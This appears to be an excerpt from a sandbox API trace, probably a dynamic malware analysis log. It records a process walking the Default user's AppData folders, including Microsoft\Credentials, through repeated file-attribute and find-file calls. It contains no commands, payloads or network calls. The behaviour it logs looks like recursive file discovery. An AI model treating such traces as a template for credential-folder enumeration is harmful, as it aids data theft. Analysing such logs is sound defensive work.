	[0082.302] CloseHandle (hObject=0xc0) returned 1
	[0082.303] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x125002a0*, nNumberOfCharsToWrite=0x2b, lpNumberOfCharsWritten=0x127ee978, lpReserved=0x0 | out: lpBuffer=0x125002a0*, lpNumberOfCharsWritten=0x127ee978*=0x2b) returned 1
	[0082.303] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData" (normalized: "c:\\users\\default\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x123fcd78 | out: lpFileInformation=0x123fcd78*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.304] CreateFileW (lpFileName="C:\\Users\\Default\\AppData" (normalized: "c:\\users\\default\\appdata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.304] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.304] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.304] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1
	[0082.304] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1
	[0082.304] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1
	[0082.304] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.304] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.304] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local" (normalized: "c:\\users\\default\\appdata\\local"), fInfoLevelId=0x0, lpFileInformation=0x123fceb8 | out: lpFileInformation=0x123fceb8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0082.304] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local" (normalized: "c:\\users\\default\\appdata\\local"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.304] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0082.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0082.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xddd35f67, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xbd7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
	[0082.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0082.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0082.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0082.305] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.306] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.306] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data" (normalized: "c:\\users\\default\\appdata\\local\\application data"), fInfoLevelId=0x0, lpFileInformation=0x123fd0e8 | out: lpFileInformation=0x123fd0e8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.307] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History" (normalized: "c:\\users\\default\\appdata\\local\\history"), fInfoLevelId=0x0, lpFileInformation=0x123fd138 | out: lpFileInformation=0x123fd138*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.307] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db"), fInfoLevelId=0x0, lpFileInformation=0x123fd188 | out: lpFileInformation=0x123fd188*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xddd35f67, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xbd7f0)) returned 1
	[0082.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft" (normalized: "c:\\users\\default\\appdata\\local\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x123fd1d8 | out: lpFileInformation=0x123fd1d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.308] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft" (normalized: "c:\\users\\default\\appdata\\local\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.308] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
	[0082.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1
	[0082.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1
	[0082.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0082.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0082.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66d8860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d1d5e4e, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0082.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd774d0cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1
	[0082.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1
	[0082.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1
	[0082.310] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.310] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.311] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\credentials"), fInfoLevelId=0x0, lpFileInformation=0x123fd548 | out: lpFileInformation=0x123fd548*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.312] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\credentials"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.312] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.312] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.312] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.312] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.312] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds"), fInfoLevelId=0x0, lpFileInformation=0x123fd598 | out: lpFileInformation=0x123fd598*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.313] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.313] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.315] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.315] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff107f92, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1
	[0082.315] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1
